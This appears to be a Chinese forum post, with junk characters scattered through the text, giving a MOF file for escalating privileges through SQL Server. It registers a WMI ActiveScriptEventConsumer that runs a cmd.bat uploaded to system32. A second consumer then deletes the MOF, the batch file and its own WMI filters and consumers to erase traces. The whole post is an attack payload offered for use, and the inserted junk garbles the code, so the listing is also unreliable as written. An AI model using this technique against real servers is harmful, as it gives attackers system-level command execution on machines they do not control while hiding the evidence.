这个sql提权MOF需要运行 system下的文件,不能定义路径。0 k: J2 D: S9 N6 Z
需要将要运行的命令写入到bat上传到system32目录,然后执行。
2 U0 b z' ^5 J6 {" D& Z# i9 k4 V" [* V
这个sql提权MOF需要运行 system下的文件,不能定义路径。' Z! R, X4 ^- _2 U! Z' a
需要将要运行的命令写入到bat上传到system32目录,然后执行。8 C* Q7 D& r! r& A# i; ^
3 @; w/ \2 }" W: m1 T3 P! f
#pragma! [+ T: ?2 p1 B* f, K
namespace("\\\\.\\root\\cimv2"). L. G- B& E2 x4 U
class, n; j6 ~( R1 U, |
MyClass547" e5 i: q" p: m1 a
{ [key]( O; d2 Y% b1 X! }- d0 S2 c. {
string0 s0 W& z; p+ m ?- v/ {" \1 m' d
Name;
1 I5 Y+ U. n/ B };4 x1 A7 R; Y% v- I) }/ X
class
# D. e8 y8 g& Z4 i* r ActiveScriptEventConsumer
/ }# y; g: @& Z/ B8 j0 u" N2 z( E : __EventConsumer { [key]
Q4 }; V' q. }) p7 s; Y string* X. k; A' p: ~) r. Z+ r! b
Name; [not_null]
7 A, b. S* k ]7 p) u string6 r& \* @! c/ X2 F
ScriptingEngine; string) Z2 R" s) B. ]4 V3 N
ScriptFileName; [template]
3 Y! k6 C; h9 i6 i( p string" e) b1 A8 Z! [2 V d" C& ^4 W" c
ScriptText; uint32 KillTimeout;/ }' B1 f7 t& I. S, N1 z+ ?( ~
}; instance of __Win32Provider as $P {
! [9 o4 K" l" u2 ]. w Name0 o$ f. O# M+ m1 M3 ?% j' x2 g) i2 Z
=
9 k3 U# W2 n$ a6 v1 i, d "ActiveScriptEventConsumer"; CLSID =$ B! _; ]* X8 q1 \
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";# R5 u* k% i+ d. f( y
PerUserInitialization
# l! E5 o- e7 k( w: `) x: s = TRUE;
, O+ a+ L* r# N9 r1 l }; instance of __EventConsumerProviderRegistration { Provider
3 j" l, U' P( E- B& x8 G! p = $P; ConsumerClassNames- n. i$ J! s& a5 x1 j
=8 N' u' Q4 j4 T9 f/ l4 l) ?0 B" f
{"ActiveScriptEventConsumer"};
2 y4 R. E/ ]0 w% I$ E8 f. |' q };8 S5 A1 q/ j4 P: O0 e8 ]9 D8 |+ S4 w
Instance of ActiveScriptEventConsumer" ]: s. S' p, c/ U$ M# n9 r) O3 f
as $cons { Name) H' _% q* h9 _' G4 n: n6 i
=9 w& g" V0 C* P, l) U% l5 q4 n
"ASEC"; ScriptingEngine
4 q1 R4 Z; |# U2 l =
" D5 {3 b- j% _/ `; [: d; q, Q "JScript"; ScriptText
& `9 X' `7 ~! {% j: ^1 U; c =2 G. A5 N% x8 f3 C. C* n4 c
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
! _/ y1 Z) S% ~) i Instance of ActiveScriptEventConsumer* ]6 q8 b" l& B8 ?) c9 _
as $cons2 { Name
, \; a* t( \% t1 W# N = U: |( o% q R4 Q
"qndASEC"; ScriptingEngine
& W" c F1 }" D% Y0 I9 { =# D) D0 Y# C7 F2 t
"JScript"; ScriptText5 _( {8 Q% @2 a# A Y2 E
=: I( |, u. A* D+ Z' o! e
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
+ g# B" l( z( m; Z: |5 n/ ? }; instance of __EventFilter as $Filt { Name
$ g: c5 o: k, j7 T' v" U: M1 H p9 q7 W =
6 f2 _$ p8 D4 p: ]& c "instfilt"; Query
" X( B$ t C9 }8 E' d8 b =
- v' O7 A- x+ s' R! g( _3 }3 [ "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
" S1 V, A9 S" \4 x" c" j6 y =
0 ~% D! A7 M% X' @: q" k "WQL"; }; instance of __EventFilter as $Filt2 { Name
5 A* Z* {: K: h/ E =
: [/ a# q: P m "qndfilt"; Query0 j- h6 k% {5 a) E& e5 h1 q
=
+ a. u8 b) ^* t "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage0 ? }( X- p$ h
=5 P6 i5 \: F F7 b c) x7 s
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer% o$ Y8 h/ E5 e! {$ D# }* r2 K; K
= $cons; Filter
0 D6 m. e& G; Y. | = $Filt;
7 S$ z& C7 Y. V- E' g( a }; instance of __FilterToConsumerBinding as $bind2 { Consumer3 N* o! e; G3 H! C' b2 v
= $cons2; Filter
* b. V# Z- Q; P5 h. M8 ? = $Filt2;5 t' x' y9 E( z' A( A
}; instance of MyClass547, @2 n0 ]5 o' A Y i
as $MyClass { Name4 C p5 Q1 e0 l' |! D- c4 ^$ Y
=& c& j- J) L7 v% Z& a
"ClassConsumer";7 S* ?/ L$ z" V
}; |